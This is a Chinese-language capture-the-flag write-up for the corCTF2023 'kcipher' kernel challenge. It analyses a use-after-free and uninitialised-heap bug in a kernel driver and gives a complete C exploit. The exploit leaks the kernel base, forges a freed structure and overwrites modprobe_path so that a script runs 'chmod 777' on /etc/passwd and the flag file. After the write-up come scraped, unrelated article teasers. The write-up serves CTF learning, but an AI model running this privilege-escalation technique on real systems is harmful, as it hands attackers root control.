corCTF2023 -- kcipher

前言

本次仅仅是通过 modprobe_pathflag,但是 modprobe_path 是可以提权的(:只需要把 /etc/passwd 的权限修改为 777 即可

这里存在 kmalloc-96 大小的 UAF/Double free 所以其实利用方式挺多的~~~但是这里就不深究了

题目分析

  • 内核版本 6.5.0-rc1,但是没有开启 cg 隔离
  • kalsr 开启,没有开启 smap/smep,这可能使得利用变得简单
  • slub 分配器,没有开启 CONFIG_SLAB_FREELIST_HARDENEDCONFIG_SLAB_FREELIST_RANDOM,这使得堆风水更容易

这里仅仅说一些对漏洞利用有用的函数

device_ioctl 会创建一个匿名 fd,并分配一个大小为 96 字节的堆块作为该 fdprivate_data 域:

__int64 __fastcall device_ioctl(__int64 a1, int cmd, __int64 arg3)
{
  struct node *private_data; // rax
  struct node *pprivate_data; // rbx
  int fd; // r13d
  __int64 res; // r12
  __int64 enc_idx; // rax

  if ( cmd != 0xEDBEEF00 )
    return -22LL;
  private_data = kmalloc_trace(kmalloc_caches[1], 0x400DC0LL, 96LL);
  pprivate_data = private_data;
  if ( !private_data )
    return -12LL;
  private_data->lock = 0;
  fd = anon_inode_getfd("kcipher-buf", &kcipher_cipher_fops, private_data, 2LL);
  if ( fd >= 0 )
  {
    res = copy_from_user(pprivate_data, arg3, 8LL);
    if ( !res ) // <=== 【1】
    {
      enc_idx = pprivate_data->enc_idx;
      if ( enc_idx <= 3 ) // <=== 【2】
      {
        strncpy(pprivate_data->func_name, ciphers[enc_idx], 64uLL);
        return fd;
      }
      res = -22LL;
    }
    kfree(pprivate_data); // UAF??? 这里将 private_data 释放了,但是 file 结构体中仍然保存着其引用
    return res;	// 这里虽然没有返回 fd,但是可以根据打开的文件数量进行猜测
  }
  kfree(pprivate_data);
  return fd;
}

但是这里存在一个问题:当 【1】【2】 处执行失败时,会释放掉 private_data,但是并没有把 file->private_data 置空,所以如果在其他地方使用到了 file->private_data 则会导致 UAF,其中 private_data 维护的数据结构如下:

00000000 node struc ; (sizeof=0x60, mappedto_3)
00000000 enc_idx dd ?
00000004 key db ?
00000005 db ? ; undefined
00000006 db ? ; undefined
00000007 db ? ; undefined
00000008 data_len dq ?
00000010 data dq ?
00000018 lock dd ?
0000001C func_name db 68 dup(?)
00000060 node ends

对于 kcipher-buf 其对应的函数操作有 cipher_readcipher_writecipher_release;先来看看 cipher_write 函数:

__int64 __fastcall cipher_write(__int64 a1, __int64 ubuf, unsigned __int64 len)
{
  struct node *private_data; // r15
  __int64 v5; // rax
  __int64 data; // rdi
  __int64 v7; // r13
  __int64 kptr; // rax
  __int64 v9; // rbx

  private_data = *(a1 + 192);
  if ( len > 0x1000 )
    return -12LL;
  v5 = raw_spin_lock_irqsave(&private_data->lock);
  data = private_data->data;
  v7 = v5;
  if ( data )
  {
    kfree(data);
    private_data->data = 0LL;
  }
  kptr = _kmalloc(len, 0xCC0LL);                // GFP_KERNEL
  private_data->data = kptr;
  if ( !kptr )
  {
    raw_spin_unlock_irqrestore(&private_data->lock, v7);
    return -12LL;
  }
  private_data->data_len = len;
  v9 = strncpy_from_user(kptr, ubuf, len);      // 不能复制 \x00
  raw_spin_unlock_irqrestore(&private_data->lock, v7);
  return v9;
}

cipher_write 主要就是为 file->private_data.data 分配空间,然后写入内容。并且这里每次都会先释放原来的 data,在分配新的 data,分配方式为 GFP_KERNEL,该分配标志不会初始化堆块的内容,而后面复制内容使用的是 strncpy_from_user,其存在 \x00 截断,所以这里 data 上可能残留一些有用的内容

在来看看 cipher_read 函数:

__int64 __fastcall cipher_read(__int64 a1, __int64 ubuf, unsigned __int64 len)
{
  struct node *v3; // r15
  __int64 v5; // rax
  __int64 v6; // r12
  __int64 v7; // rbx

  v3 = *(a1 + 192);
  v5 = raw_spin_lock_irqsave(&v3->lock);
  v6 = v5;
  if ( v3->data )
  {
    do_encode(v3);                              // 这里可以修改 private_data->data 的内容
    if ( len > v3->data_len )
      len = v3->data_len;
    if ( len > 0x7FFFFFFF )
      BUG();
    v7 = len - copy_to_user(ubuf, v3->data, len); // 复制加密后的内容到用户空间
    raw_spin_unlock_irqrestore(&v3->lock, v6);
  }
  else
  {
    v7 = -2LL;
    raw_spin_unlock_irqrestore(&v3->lock, v5);
  }
  return v7;
}

cipher_read 就是读取 file->private_data.data 的内容,但是在读取前会对内容进行加密,这里的加密方式有:

char *ciphers[]
0	rot
1	xor
2	a1z26
3	atbash

而具体是那种加密是根据 file->private_data.idx 决定的,然后这里是逐字节加密,加密的 keyfile->private_data.key,具体的加密逻辑在 do_encode 函数中,这里就简单看看 rot/xor 的逻辑吧:

......
  if ( enc_idx )
  {
    for ( i = 0LL; i < private_data->data_len; ++i )
      data[i] ^= private_data->key;
  }
  else
  {
    for ( j = 0LL; j < private_data->data_len; ++j )
      data[j] += private_data->key;
  }
......

可以看到就是简单的 +/^

最后来看看 cipher_release 函数:

__int64 __fastcall cipher_release(__int64 a1, __int64 a2)
{
  struct node *private_data; // rbx
  __int64 data; // rdi

  private_data = *(a2 + 192);
  data = private_data->data;
  if ( data )
    kfree(data);
  kfree(private_data);
  return 0LL;
}

可以看到这里会释放 dataprivate_data,配合之前 device_ioctl 中的问题,这里是可能导致 Double free

总的来说,目前我们有如下漏洞原语:

  • kmalloc-96 大小的 UAF/Double Free
  • 堆块未初始化

漏洞利用

题目虽然没有 smap/smep,但是开启了 kaslr,所以第一步就是去泄漏相关地址,这里泄漏相关地址主要是利用堆块未初始化漏洞:

  • 先堆喷大量 seq_operations [kmalloc-32|GFP_KERNEL_ACCOUNT],然后将其全部释放
    • 此时释放的堆块上残留了相关内核地址
  • 然后 cipher_writedata 分配一个 kmalloc-32 大小的堆块,这里使用 \x00 截断防止堆块其初始化
    • 这时 data 上可能残留着内核地址
  • 然后 cipher_read 读取 data 的内容,此时大概率可泄漏内核地址

然后去构造堆块重叠,使得某个 fileprivate_data 与另一个 fileprivate_data.data 重合,具体利用方式如下:

  • 正常分配一个 fd1,其对应的相关结构为:private_data1 [kmalloc-96 chunk1]
  • "不正常"分配一个 fd2,其对应的相关结构为:private_data2 [kmalloc-96 UAF chunk2]
  • fd1 分配一个 data1 [kmalloc-96],此时会拿到 chunk2
    • fd1data1fd2private_data2 重合
    • 此时就可以通过 data1 去伪造 private_data2 结构,其中可以伪造 data2modprobe_path,然后在 cipher_read 时就会修改 modprobe_path 的数据

注意点:这里通过 data1 去伪造 private_data2 要通过两步:

  • 因为 cipher_writedata1 存在 \x00 截断,所以这里我们无法伪造一个合法的 private_data2
  • 但是 cipher_readdata2 时,会对 data2 的数据进行加密,所以我们可以在这里使得伪造的 private_data2 合法

比如如果我们想往 data1 中写入 \x00,我们则可以先写入 \xff,这时就可以避免 \x00 截断,然后在 cipher_read 中对数据 \x00 进行异或加密 \xff ^ \xff = \x00,这时我们就成功写入了 \x00

最后的 exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(2);
    exit(EXIT_FAILURE);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

void get_flag(){
        system("echo -ne '#!/bin/sh\n/bin/chmod 777 /root/flag.txt\n/bin/chmod 777 /etc/passwd' > /tmp/x"); // modeprobe_path 修改为了 /tmp/x
        system("chmod +x /tmp/x");
        system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); // 非法格式的二进制文件
        system("chmod +x /tmp/dummy");
        system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x
        sleep(0.3);
        system("cat /root/flag.txt");
        exit(0);
}

struct header {
        uint32_t idx;
        uint32_t key;
};

void dec(char* buf, int8_t key, int len) {
        for (int i = 0; i < len; i++) {
                buf[i] -= key;
        }
}

struct node {
        uint32_t idx;
        uint32_t key;
        uint64_t len;
        uint64_t data;
        uint32_t lock;
        char name[68];
};

int main(int argc, char** argv, char** envp)
{
        bind_core(0);
        int fd, cfd;
        #define SQE_NUMS 0x30
        uint64_t kbase = 0;
        uint64_t koffset = 0;
        int seq_fd[SQE_NUMS];
        char buf[0x1000] = { 0 };
        uint64_t modprobe_path = 0xffffffff818a83a0;
        struct node* node = (struct node*)buf;
        struct header h = { .idx = 0, .key = 2 };

        fd = open("/dev/kcipher", O_RDONLY);
        if (fd < 0) err_exit("open /dev/kcipher");

        cfd = ioctl(fd, 0xEDBEEF00, &h);
        if (cfd <= 0) err_exit("create kcipher-buf");
        printf("[+] cfd: %d\n", cfd);

        for (int i = 0; i < SQE_NUMS; i++) {
                seq_fd[i] = open("/proc/self/stat", O_RDONLY);
                if (seq_fd[i] < 0) err_exit("open /proc/self/stat");
        }

        for (int i = 0; i < SQE_NUMS; i++) {
                close(seq_fd[SQE_NUMS-i-1]);
        }

        memset(buf, 0, sizeof(buf));
        write(cfd, buf, 0x20);
        read(cfd, buf, 0x20);
        binary_dump("LEAK DATA", buf, 0x20);
        kbase = *(uint64_t*)(buf+8) & 0xffffffff;
        if ((kbase&0xfff) != 0xa72) err_exit("Leak kbase");
        kbase += 0xffffffff81000000ULL - 0x8317ba72ULL;
        koffset = kbase - 0xffffffff81000000ULL;
        modprobe_path += koffset;
        printf("[+] kbase: %#llx\n", kbase);
        printf("[+] koffset: %#llx\n", koffset);
        printf("[+] modprobe_path: %#llx\n", modprobe_path);

        ioctl(fd, 0xEDBEEF00, 0xbeefdead);
/*
        // just test
        memset(buf, 0, sizeof(buf));
        node->idx = 1;
        node->key = 1;
        node->len = 1;
        node->data = modprobe_path;
        node->lock = 0;
        dec(buf, h.key, 0x60);
        binary_dump("ENC DATA", buf, 0x60);
        write(cfd, buf, 0x60);
        memset(buf, 0, sizeof(buf));
        read(cfd, buf, 0x60);
        binary_dump("DEC DATA", buf, 0x60);
*/
        char m[] = "/sbin/modprobe";
        char n[] = "/tmp/x\x00";
        for (int i = 0; i < sizeof(n); i++) {
                memset(buf, 0, sizeof(buf));
                node->idx = 1;
                node->key = m[i] ^ n[i];
                node->len = 1;
                node->data = modprobe_path + i;
                node->lock = 0;
                dec(buf, h.key, 0x60);
                write(cfd, buf, 0x60);
                read(cfd, buf, 0x60);
        //      binary_dump("DEC DATA", buf, 0x60);
                read(5, buf, 1);
        }

        get_flag();
//      getchar();

        return 0;
}

效果如下:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/595626.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

实测好评!微信自动回复消息神器!高效沟通拿捏住!

随着企业规模的扩大和客户数量的增加&#xff0c;有效管理和回复每一条消息变得越来越具有挑战性。今天&#xff0c;就给大家分享一个高效的自动回复消息神器——个微管理系统&#xff0c;让你能够轻松应对各种沟通需求。 1、自动通过好友&#xff0c;提高沟通效率 每当有新的…

Shell脚本编写-定时清空文件内容,定时记录文件内容大小

find命令 – 根据路径和条件搜索指定文件 – Linux命令大全(手册)find命令的功能是根据给定的路径和条件查找相关文件或目录&#xff0c;其参数灵活方便&#xff0c;且支持正则表达式&#xff0c;结合管道符后能够实现更加复杂的功能&#xff0c;是Linux系统运维人员必须掌握的…

基于现有语言大模型,定制“人人AI气象”公众号天气助手

最近&#xff0c;月之暗面的Kimi大模型非常受欢迎&#xff0c;尝试用了moonshot(128K)基座模型&#xff0c;通过调用各种公开渠道的API&#xff0c;简易实现了一个天气助手&#xff0c;可以回答天气相关的基础概念、原理、应用等方面的问题&#xff0c;同时也可调用多个插件获取…

ComfyUI搭建和注意事项for WIN[笔记]

下载ComfyUI(GitHub - comfyanonymous/ComfyUI: The most powerful and modular stable diffusion GUI, api and backend with a graph/nodes interface.) 从源码上搭建比较麻烦&#xff0c;一般不推荐&#xff0c;所以跑到release里面找一个下载。我的显卡是GeFore GTX 1050 …

【ITK统计】第一期 分类器

很高兴在雪易的CSDN遇见你 VTK技术爱好者 QQ:870202403 公众号:VTK忠粉 前言 本文分享ITK中的分类器及其使用情况,希望对各位小伙伴有所帮助! 感谢各位小伙伴的点赞+关注,小易会继续努力分享,一起进步! 你的点赞就是我的动力(^U^)ノ~YO 在统计分…

私域流量引流方式有哪些?

私域流量引流的方法无非是营销渠道投放、各平台KOL投放、自有自媒体平台账号内容引流、线下引流、老客户转介绍裂变等几个方面&#xff0c;下面对各种不同方法进行简单介绍。 1、营销渠道投放&#xff1a;选择广点通、粉丝通、某些app的信息流和dou等大平台自带的推广渠道工具…

JavaScript中的事件模型

JavaScript中的事件模型分为&#xff1a;事件和事件流、原始事件、标准事件和IE事件。 事件与事件流 JavaScript中的事件&#xff0c;可以理解为HTML文档或者浏览器中发生的一种交互操作&#xff0c;让网页有互动的功能。常见的事件就是加载事件、鼠标事件和自定义事件。 因…

JavaScript中Math函数与舍入

立方根 console.log(Math.sqrt(25)); //数学方式25平方根 console.log(25 ** (1 / 2)); //25的0.5次方 console.log(8 ** (1 / 3)); //8的1/3次方计算最大最小值 console.log(Math.max(1, 5, 88, 22, 132)); //返回最大值 console.log(Math.max(1, 5, 88, 22, 132)); //…

STM32CubeMX学习笔记29---FreeRTOS任务通知

一、简介 1 、基本概念 FreeRTOS 从 V8.2.0 版本开始提供任务通知这个功能&#xff0c;每个任务都有 一个 32 位 的通知值&#xff0c;在大多数情况下&#xff0c;任务通知可以 替代二值信号量、计数信号量、事件组&#xff0c;也可以替代长度为 1 的队列&#xff08;可以保存…

wordpress外贸建站公司歪建站新版网站上线

wordpress外贸建站公司 歪猫建站 歪猫WordPress外贸建站&#xff0c;专业从事WordPress多语言外贸小语种网站建设与外贸网站海个推广、Google SEO搜索引擎优化等服务。 https://www.waimaoyes.com/dongguan

一键 input 苹果 OpenELM,零门槛 Llama 3 教程,40+ 优质模型/数据集/教程,建议收藏!...

现在 AI 行业什么最火&#xff1f; 「大模型」一定仍然排在前三甲的位置。 自从 2022 年底 ChatGPT 面世以来&#xff0c;大模型在各行各业已经带来了太多的惊喜&#xff0c;应用场景愈发丰富&#xff0c;同时也带动了相关底层技术的普及与普适化。尤其是在开源模型繁荣发展之下…

拼多多标准推广怎么开出自然流量呢

拼多多标准推广开出自然流量的策略如下&#xff1a; 拼多多推广可以使用3an推客。3an推客&#xff08;CPS模式&#xff09;给商家提供的营销工具&#xff0c;由商家自主设置佣金比例&#xff0c;激励推广者去帮助商家推广商品链接&#xff0c;按最终有效交易金额支付佣金&…

408数据结构-树与森林 自学知识点整理

前置知识&#xff1a;树的基本概念与性质 树的存储结构 树既可以采用顺序存储结构&#xff0c;又可采用链式存储结构。但无论采取哪种方式&#xff0c;都要求能够唯一地反映树中各结点之间的逻辑关系。 1. 双亲表示法 这种存储结构采用一组连续空间来存储每个结点&#xff0…

柯桥西语培训之在西班牙旅游点菜哪些坑不能踩?

Por muy bien que se coma en Espaa —que es mucho— hay una cosa innegable: lo que pasa en la cocina se queda en la cocina. No todos los alimentos son igualmente seguros o sabrosos cuando se encuentran fuera de la comodidad de nuestra propia casa. Ya sea po…

Linux网络服务的存储,FTP服务和NFS共享

目录 一.存储 1.存储类型 2.应用场景 二.FTP服务 1.FTP工作原理介绍 2.FTP协议的两种模式 3.用户类型 4.匿名用户案例 三.NFS 1.NFS简介 2.NFS服务主要进程 3.NFS特点 4.NFS共享配置文件格式 5.NFS工具 5.1 exportfs 5.2 showmount 5.3 mount.nfs 6.创建文…

Go 语言基础(一)【基本用法】

前言 最近心情格外不舒畅&#xff0c;不仅仅是对前途的迷茫&#xff0c;这种迷茫倒是我自己的问题还好&#xff0c;关键它是我们这种普通吗喽抗衡不了的。 那就换个脑子&#xff0c;学点新东西吧&#xff0c;比如 Go&#xff1f; 1、Go 语言入门 介绍就没必要多说了&#xff0…

网络安全(6) 模拟实验 Metasploit 控制并获取Windows 登录HASH、LM Hash和NTLM Hash密文解析

窃取WINDOWS账号密码 系统环境&#xff1a;主机&#xff08;Windows系统 IP&#xff1a;192.168.126.129)&#xff0c;虚拟机&#xff08;KALI系统 IP&#xff1a;192.168.126.3&#xff09;&#xff0c;两者需要能通过本地网络互通互连。 攻击工具&#xff1a;Metasploit是一…

自动化工具

一、介绍一些自动化的工具 puppet和chef用的是Ruby语言http协议&#xff0c;淘汰 saltstack Python语言 c/s ssh协议&#xff0c;5% ansible 无cilent ssh协议 用Python开发 95% 二、ansible简介 2.1 ansible自动化运维工具特点 Ansible 与 Saltstack 均是基于…

HNU-人工智能-实验2-简单CSP问题

人工智能-实验2 计科210x 甘晴void 一、实验目的 求解约束满足问题 使用回溯搜索算法求解八皇后问题 二、实验平台 课程实训平台https://www.educoder.net/paths/369 三、实验内容 3.0 题目要求 回溯搜索算法 搜索与回溯是计算机解题中常用的算法&#xff0c;很多问…

【STM32嵌入式系统设计与开发】——18StaticNixite(静态数码管应用)

这里写目录标题 STM32资料包&#xff1a; 百度网盘下载链接&#xff1a;链接&#xff1a;https://pan.baidu.com/s/1mWx9Asaipk-2z9HY17wYXQ?pwd8888 提取码&#xff1a;88881、函数编辑&#xff08;1&#xff09;主函数编辑&#xff08;2&#xff09;主函数头文件函数&#x…
最新文章